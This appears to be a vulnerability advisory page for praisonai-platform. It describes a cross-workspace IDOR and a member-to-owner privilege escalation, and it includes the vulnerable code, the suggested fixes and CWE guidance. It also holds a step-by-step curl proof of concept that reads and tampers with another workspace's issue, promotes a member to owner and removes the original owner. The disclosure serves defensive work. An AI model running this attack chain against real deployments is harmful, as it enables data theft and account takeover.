Skip to content

GHSA-gv23-xrm3-8c62 CVE-2026-48169 PYSEC-2026-2935

PraisonAI has Cross-Workspace IDOR and Privilege Escalation via Platform API

High PyPI
Severity
8.8 / 10
High · CVSS 3.1
Exploit chance (EPSS)
0.44%
Chance of exploitation in the next 30 days. Higher than 38.45% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-639 Authorization Bypass Through User-Controlled Key
CWE-862 Missing Authorization
Fix
0.1.4
Upgrade praisonai-platform to this version or later

Description

Summary

The PraisonAI Platform API has two authorization failures that together break workspace isolation. The service layer for issues and projects performs global primary-key lookups without checking workspace ownership, so any authenticated user can read, modify, and delete resources in any workspace just by swapping UUIDs in their API requests. On top of that, every member management endpoint (add, update role, remove) only requires min_role="member", which lets any workspace member promote themselves to owner and kick out the original owner. A low-privilege member of one workspace can steal data from every other workspace and take over any workspace they belong to.

Both issues come from the same gap: the route layer pulls workspace_id from the URL and verifies membership, but the service layer ignores the workspace scope for resource lookups and ignores the caller's role level for member operations. The require_workspace_member() dependency does its job correctly. The problem is that the service layer doesn't use the information it provides.

Details

Part 1: Cross-Workspace IDOR (Issues and Projects)

Vulnerable Files:

  • praisonai_platform/services/issue_service.py
  • praisonai_platform/services/project_service.py
  • praisonai_platform/api/routes/issues.py
  • praisonai_platform/api/routes/projects.py

There is a consistent split between the route layer and the service layer. Routes pull workspace_id from the URL and verify membership:

GET /api/v1/workspaces/{workspace_id}/issues/{issue_id}
                        ^^^^^^^^^^^^^^
                        require_workspace_member() checks this

But the service methods these routes call perform global lookups that ignore workspace_id entirely:

IssueService.get(), line 72:

async def get(self, issue_id: str) -> Optional[Issue]:
    """Get issue by ID."""
    return await self._session.get(Issue, issue_id)

ProjectService.get(), line 47:

async def get(self, project_id: str) -> Optional[Project]:
    """Get project by ID."""
    return await self._session.get(Project, project_id)

Both use session.get(Model, pk), which is a global lookup by primary key with no WHERE workspace_id = ? filter.

Compare that with the properly scoped list_for_workspace() methods in the same files:

IssueService.list_for_workspace(), line 76:

async def list_for_workspace(self, workspace_id: str, ...) -> list[Issue]:
    stmt = select(Issue).where(Issue.workspace_id == workspace_id)
    # ... properly scoped

The listing is scoped correctly. The get, update, and delete methods are not. Since update() and delete() in both services call self.get() internally, the workspace bypass cascades through all write operations too.

Route that discards workspace_id, issues.py line 82:

@router.get("/{issue_id}", response_model=IssueResponse)
async def get_issue(
    workspace_id: str,                                        # Extracted from URL
    issue_id: str,
    user: AuthIdentity = Depends(require_workspace_member),   # Membership verified
    session: AsyncSession = Depends(get_db),
):
    svc = IssueService(session)
    issue = await svc.get(issue_id)   # workspace_id never passed to service

All affected operations:

Service Method Line Workspace scoped?
IssueService get() 72 No, uses session.get(Issue, issue_id)
IssueService update() 97 No, calls self.get(issue_id)
IssueService delete() 150 No, calls self.get(issue_id)
IssueService list_for_workspace() 76 Yes, filters by workspace_id
ProjectService get() 47 No, uses session.get(Project, project_id)
ProjectService update() 62 No, calls self.get(project_id)
ProjectService delete() 88 No, calls self.get(project_id)
ProjectService get_stats() 97 No, only filters by project_id
ProjectService list_for_workspace() 51 Yes, filters by workspace_id
Part 2: Workspace Takeover via Missing Role Enforcement

Vulnerable Files:

  • praisonai_platform/api/routes/workspaces.py (member management routes)
  • praisonai_platform/api/deps.py (authorization dependency)
  • praisonai_platform/services/member_service.py (role hierarchy implementation)

The authorization dependency supports role-based access:

require_workspace_member(), deps.py line 54:

async def require_workspace_member(
    workspace_id: str,
    user: AuthIdentity = Depends(get_current_user),
    session: AsyncSession = Depends(get_db),
    min_role: str = "member",         # Accepts higher roles, but nobody passes them
) -> AuthIdentity:
    member_svc = MemberService(session)
    has = await member_svc.has_role(workspace_id, user.id, min_role)
    if not has:
        raise HTTPException(status_code=403, ...)

The has_role() method correctly implements role hierarchy:

MemberService.has_role(), member_service.py line 80:

async def has_role(self, workspace_id, user_id, required_role) -> bool:
    """Role hierarchy: owner > admin > member."""
    member = await self.get(workspace_id, user_id)
    if member is None:
        return False
    role_levels = {"owner": 3, "admin": 2, "member": 1}
    user_level = role_levels.get(member.role, 0)
    required_level = role_levels.get(required_role, 0)
    return user_level >= required_level

This works correctly, but no route ever calls require_workspace_member with min_role="owner" or min_role="admin". Every member management route uses the default "member":

Self-promotion, workspaces.py line 115:

@router.patch("/{workspace_id}/members/{user_id}", response_model=MemberResponse)
async def update_member_role(
    workspace_id: str,
    user_id: str,
    body: MemberUpdate,
    user: AuthIdentity = Depends(require_workspace_member),  # min_role="member"
    session: AsyncSession = Depends(get_db),
):
    member_svc = MemberService(session)
    member = await member_svc.update_role(workspace_id, user_id, body.role)
    # No check: is user modifying their own role? (self-promotion)
    # No check: is body.role > caller's current role? (escalation)
    # No check: is target a higher role than caller? (modifying superiors)

Owner removal, workspaces.py line 130:

@router.delete("/{workspace_id}/members/{user_id}", status_code=204)
async def remove_member(
    workspace_id: str,
    user_id: str,
    user: AuthIdentity = Depends(require_workspace_member),  # min_role="member"
    ...
):
    member_svc = MemberService(session)
    removed = await member_svc.remove(workspace_id, user_id)
    # No check: is target a higher role than caller?
    # No check: is this the last owner?

Three checks are missing from update_member_role: self-modification, upward escalation, and modifying superiors. Two checks are missing from remove_member: role hierarchy and last-owner protection.

PoC

Prerequisites:

  • A running PraisonAI Platform instance with default configuration
  • No special configuration required

Server setup:

cd /path/to/PraisonAI
pip install -e "src/praisonai-platform"
python -m uvicorn praisonai_platform.api.app:create_app \
  --factory --host 127.0.0.1 --port 8000
Scenario: Full attack chain (IDOR + Privilege Escalation)

Step 1: Victim (CEO) creates workspace with sensitive data

BASE="http://127.0.0.1:8000/api/v1"

# Register CEO
VICTIM=$(curl -sfL -X POST "$BASE/auth/register" \
  -H "Content-Type: application/json" \
  -d '{"email":"ceo@targetcorp.com","password":"Secure123!","name":"CEO"}')
VICTIM_TOKEN=$(echo "$VICTIM" | python3 -c "import sys,json; print(json.load(sys.stdin)['token'])")
VICTIM_ID=$(echo "$VICTIM" | python3 -c "import sys,json; print(json.load(sys.stdin)['user']['id'])")

# CEO creates workspace with confidential issue
VICTIM_WS=$(curl -sfL -X POST "$BASE/workspaces/" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $VICTIM_TOKEN" \
  -d '{"name":"Executive Board"}' \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['id'])")

ISSUE_ID=$(curl -sfL -X POST "$BASE/workspaces/$VICTIM_WS/issues/" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $VICTIM_TOKEN" \
  -d '{"title":"M&A Target List","description":"Acquiring CompanyX for $2B. Board approved. Do not disclose."}' \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['id'])")
echo "Victim workspace: $VICTIM_WS"
echo "Secret issue: $ISSUE_ID"

Step 2: Attacker registers and creates their own workspace

ATTACKER=$(curl -sfL -X POST "$BASE/auth/register" \
  -H "Content-Type: application/json" \
  -d '{"email":"attacker@evil.com","password":"Evil123!","name":"Attacker"}')
ATK_TOKEN=$(echo "$ATTACKER" | python3 -c "import sys,json; print(json.load(sys.stdin)['token'])")
ATK_ID=$(echo "$ATTACKER" | python3 -c "import sys,json; print(json.load(sys.stdin)['user']['id'])")

ATK_WS=$(curl -sfL -X POST "$BASE/workspaces/" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $ATK_TOKEN" \
  -d '{"name":"Attacker WS"}' \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['id'])")

Step 3: IDOR - Attacker reads victim's confidential issue through their own workspace

curl -sfL "$BASE/workspaces/$ATK_WS/issues/$ISSUE_ID" \
  -H "Authorization: Bearer $ATK_TOKEN"

Observed output (HTTP 200):

{
  "id": "<ISSUE_ID>",
  "workspace_id": "<VICTIM_WS>",
  "title": "M&A Target List",
  "description": "Acquiring CompanyX for $2B. Board approved. Do not disclose.",
  "status": "backlog"
}

The response contains the victim's workspace_id, which is different from the workspace in the request URL. The request was scoped to $ATK_WS but returned data from $VICTIM_WS.

Step 4: IDOR - Attacker modifies victim's issue

curl -sfL -X PATCH "$BASE/workspaces/$ATK_WS/issues/$ISSUE_ID" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $ATK_TOKEN" \
  -d '{"title":"TAMPERED - M&A Target List"}'

Observed output (HTTP 200): Title updated across workspace boundary.

Step 5: Privilege escalation - CEO adds attacker as member (simulating invite)

curl -sfL -X POST "$BASE/workspaces/$VICTIM_WS/members/" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $VICTIM_TOKEN" \
  -d "{\"user_id\":\"$ATK_ID\",\"role\":\"member\"}" > /dev/null

Step 6: Privilege escalation - Member promotes self to owner

PROMO=$(curl -sfL -X PATCH "$BASE/workspaces/$VICTIM_WS/members/$ATK_ID" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $ATK_TOKEN" \
  -d '{"role":"owner"}')
echo "$PROMO" | python3 -c "import sys,json; d=json.load(sys.stdin); print(f'Role: {d[\"role\"]}')"

Observed output:

Role: owner

The member used their own member-level token to promote themselves to owner.

Step 7: Privilege escalation - Attacker removes original owner

curl -sLo /dev/null -w "HTTP %{http_code}" -X DELETE \
  "$BASE/workspaces/$VICTIM_WS/members/$VICTIM_ID" \
  -H "Authorization: Bearer $ATK_TOKEN"

Observed output: HTTP 204 - CEO removed from their own workspace.

Step 8: Verify - Attacker is sole owner

curl -sfL "$BASE/workspaces/$VICTIM_WS/members/" \
  -H "Authorization: Bearer $ATK_TOKEN"

Observed output:

[
  {
    "workspace_id": "<VICTIM_WS>",
    "user_id": "<ATK_ID>",
    "role": "owner"
  }
]

The CEO is locked out. The attacker is now the sole owner of "Executive Board" and all its data.

Impact

  • Complete multi-tenant data breach: Any authenticated user can read every issue and project across all workspaces by substituting resource UUIDs. The URL structure (/workspaces/{workspace_id}/...) implies tenant isolation but provides none.
  • Cross-workspace data tampering: An attacker can modify issue titles, descriptions, statuses, assignments, and project fields across workspace boundaries.
  • Cross-workspace data deletion: An attacker can delete issues and projects belonging to other workspaces.
  • Workspace takeover from member role: Any member can self-promote to owner and remove all other owners, gaining sole control of the workspace and everything in it.
  • No recovery mechanism: After takeover, the original owner cannot access or recover their workspace. There is no super-admin role, no audit-based rollback, and no last-owner protection.
  • Chain amplifies impact: The IDOR does not require membership in the target workspace, only membership in any workspace. The privilege escalation turns that foothold into full ownership. Together, a user with a single member-level invite to any workspace can read all data platform-wide and take ownership of any workspace they are invited to.

Suggested Fix

1. Scope all service get/update/delete methods to workspace_id

# issue_service.py, replace get() at line 72:
async def get(self, issue_id: str, workspace_id: str) -> Optional[Issue]:
    """Get issue by ID, scoped to workspace."""
    issue = await self._session.get(Issue, issue_id)
    if issue is None or issue.workspace_id != workspace_id:
        return None
    return issue

# Apply the same pattern to update(), delete(), and all ProjectService methods

2. Pass workspace_id from routes to services

# issues.py, fix get_issue at line 82:
issue = await svc.get(issue_id, workspace_id)  # Now workspace-scoped

3. Require owner role for member management and add escalation guards

# workspaces.py, fix update_member_role:
user: AuthIdentity = Depends(
    lambda **kw: require_workspace_member(**kw, min_role="owner")
)

# Add self-modification and last-owner guards:
if user_id == user.id:
    raise HTTPException(403, "Cannot change your own role")

# Fix remove_member:
target = await member_svc.get(workspace_id, user_id)
if target and target.role == "owner":
    owners = [m for m in await member_svc.list_members(workspace_id) if m.role == "owner"]
    if len(owners) <= 1:
        raise HTTPException(403, "Cannot remove the last owner")

Affected versions

PyPI

PackageVulnerableFixed in
praisonai-platform
< 0.1.4
0.1.4

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

praisonai-platform PyPI → 0.1.4

pip
pip install --upgrade "praisonai-platform>=0.1.4"
poetry
poetry add "praisonai-platform>=0.1.4"
uv
uv add "praisonai-platform>=0.1.4"

Severity breakdown

CVSS 3.1 8.8

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Weakness

CWE-639: Authorization Bypass Through User-Controlled Key

The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.

How to prevent it
  • Architecture and Design: For each and every data access, ensure that the user has sufficient privilege to access the record that is being requested.
  • Architecture and Design, Implementation: Make sure that the key that is used in the lookup of a specific user's record is not controllable externally by the user or that any tampering can be detected.
  • Architecture and Design: Use encryption in order to make it more difficult to guess other legitimate values of the key or associate a digital signature with the key so that the server can verify that there has been no tampering.

CWE-862: Missing Authorization

The product does not perform an authorization check when an actor attempts to access a resource or perform an action.

How to prevent it
  • Architecture and Design: Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
  • Architecture and Design: Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
  • Architecture and Design: For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page. One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
  • System Configuration, Installation: Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-xxgv-vgvj-qvxh
PraisonAI: Platform members can rewrite shared labels and owner issue labels without owner/admin authorization
High Also affects praisonai-platform
GHSA-c78w-2q4r-68r7
PraisonAI: Platform member PATCH routes allow owner resource rewrites and project lead reassignment delete bypass
High Also affects praisonai-platform
GHSA-mxmx-rh57-jx58
PraisonAI: Platform members can delete owner issue dependencies through member-owned related issues
High Also affects praisonai-platform
GHSA-2fjj-qqg8-fg7x
praisonai-platform: Authorization Bypass Through User-Controlled Key
Medium Also affects praisonai-platform
GHSA-cwj8-7gp2-ggcw
praisonai-platform: default JWT signing secret 'dev-secret-change-me' enables token forgery
Critical Also affects praisonai-platform
GHSA-f38v-77qj-h4jq
praisonai-platform 0.1.4 still boots on the hardcoded JWT secret dev-secret-change-me (default-open production guard)
Critical Also affects praisonai-platform
GHSA-rh39-9c67-59mh
PraisonAI: Missing ownership check on DELETE endpoints allows members to delete others' content in Platform API
High Also affects praisonai-platform
GHSA-7p8g-6c6g-h9w7
praisonai-platform: Agent endpoints accept any agent_id without workspace ownership check, cross-workspace read/update/delete IDOR
High Also affects praisonai-platform
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor